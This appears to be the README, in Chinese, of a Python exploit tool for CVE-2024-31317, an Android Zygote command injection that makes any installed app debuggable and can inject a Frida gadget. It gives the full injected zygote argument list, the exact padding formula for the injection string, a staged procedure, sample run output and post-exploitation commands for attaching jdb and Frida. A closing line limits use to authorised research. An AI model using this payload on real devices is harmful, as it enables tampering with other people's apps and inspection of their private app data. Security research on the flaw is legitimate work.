一个基于 Python 的 CVE-2024-31317(Android Zygote 注入)漏洞利用工具,通过 hidden_api_blacklist_exemptions 设置注入恶意的 zygote 参数,使得任何已安装的 Android 应用变为可调试。可选包含 Frida gadget 注入以实现运行时 hook。
本漏洞利用工具利用了 Android Zygote 进程中的命令注入漏洞,以启用 debuggable 标志启动目标应用。这允许对任何应用进行 JDWP 调试和检查,无需 root 权限或应用的调试版本。
基于以下研究: Flanker 的 CVE-2024-31317 分析
关键发现:“runtime-flags 字段在 ZygoteArguments 中实际上可以用于启用应用的 debuggable 属性。”
runtime-flags=65535 以启用调试ppadb、jdwplib将以下文件放在同一目录下:
├── CVE-2024-31317-Debuggable.py # 主漏洞利用脚本
├── jdwplib.py # JDWP 客户端库
├── app-debug.apk # 可调试辅助应用
├── frida-gadget-android-*.so # Frida gadget(可选)
├── frida-gadget.config.so # Frida 配置(可选)
└── win32/adb.exe # Windows ADB 二进制文件
python CVE-2024-31317-Debuggable.py
脚本会提示您选择参数检测模式:
==================================================
CVE-2024-31317 漏洞利用工具
==================================================
[1] 自动检测参数
[2] 硬编码值
模式 (1/2) [1]:
阶段一:提取 startSeq
startSeq 值阶段二:注入 Zygote 参数
runtime-flags=65535(可调试)的恶意 zygote 参数hidden_api_blacklist_exemptions 设置中阶段三:后渗透
==================================================
CVE-2024-31317 漏洞利用工具
==================================================
[1] 自动检测参数
[2] 硬编码值
模式 (1/2) [1]: 1
[INFO] 阶段一:提取 startSeq
[INFO] com.debug.app 已安装
[INFO] 设置可调试
[INFO] 启动 com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP 端口: 8700
[INFO] 挂起 VM
[INFO] 扫描 42 个帧
[INFO] startSeq: 123456
[INFO] 阶段二:利用 com.debug.configurator
[INFO] 检测 com.debug.configurator 的参数
[INFO] UID: 10242
[INFO] 架构: arm64
[INFO] 数据: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload 大小: 8765 字节
[INFO] 正在重启目标
[INFO] 完成
[INFO] 目标 PID: 23456
[INFO] JDWP: 8701
注入 Frida?(y/N):
编辑脚本顶部的常量:
TARGET_APP = "com.debug.configurator" # 更改为您的目标包名
DEBUG_APP = "com.debug.app" # 辅助可调试应用
DEBUG_APK = "app-debug.apk" # 辅助应用的 APK 文件
自动检测模式(推荐):
pm list packages -U 获取 UIDdumpsys package 获取指令集和数据目录硬编码模式:
在漏洞利用成功后,您可以选择注入 Frida gadget:
注入 Frida?(y/N): y
脚本将:
frida-gadget.so 推送到 /data/local/tmp/run-as 复制到应用的数据目录脚本按可靠性顺序尝试以下断点:
顶部的断点应自动触发。如果超时,请点击应用以触发后备断点。
成功注入后:
# 连接到 gadget
frida -H 127.0.0.1:27042 -n Gadget
# 列出进程
frida-ps -H 127.0.0.1:27042
一旦漏洞利用成功,目标应用将以调试模式运行:
连接 JDWP 调试器:
jdb -attach localhost:8701
使用 Android Studio 调试器 - 附加到转发端口上的进程
使用 Frida - 如果通过脚本注入了 gadget
CVE-2024-31317 是 Android Zygote 进程中的一个命令注入漏洞。通过使用特制的输入操纵 hidden_api_blacklist_exemptions 系统设置,我们可以在应用启动时注入任意的 zygote 参数。
startSeq 提取:每次应用启动都有一个唯一的序列号。我们通过 JDWP 从可调试应用中检查栈帧变量来提取它。
Payload 构建:我们构建包含以下内容的 zygote 参数:
--runtime-args
--setuid=<目标_uid>
--setgid=<目标_gid>
--runtime-flags=65535 # 启用所有调试标志
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<包名>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<架构>
--app-data-dir=<数据目录>
--package-name=<包名>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
注入:Payload 通过特定填充(针对 Android 12+)注入到系统设置中:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
触发:强制停止并重启目标应用,该应用将使用注入的参数启动,并启用可调试标志。
Frida 注入的工作方式:
Runtime.load() 加载 Frida gadget 共享库“获取 startSeq 失败”
Frida 注入期间“未命中断点”
Frida 连接被拒绝
adb forward --listadb forward tcp:27042 tcp:27042本工具仅供教育和授权的安全研究用途。仅在您拥有或已获得明确书面许可的设备上使用。未经授权访问计算机系统是非法且不道德的。作者不对本工具的任何误用负责。
MIT 许可证 - 详情请参阅 LICENSE 文件。
| 类 | 方法 | 触发方式 |
|---|
android.os.MessageQueue | next | 自动 - 主循环器持续轮询 |
android.os.Binder | execTransact | 自动 - 任何 IPC/binder 调用 |
android.app.ActivityThread | handleMessage | 自动 - 应用的主处理器 |
android.os.Handler | dispatchMessage | 自动 - 消息分发 |
android.os.Handler | handleMessage | 自动 - 消息处理 |
android.view.Choreographer | doFrame | 自动 - 帧回调 |
android.view.View | dispatchTouchEvent | 手动 - 需要触摸 |
android.view.View | onDraw | 手动 - 需要 UI 重绘 |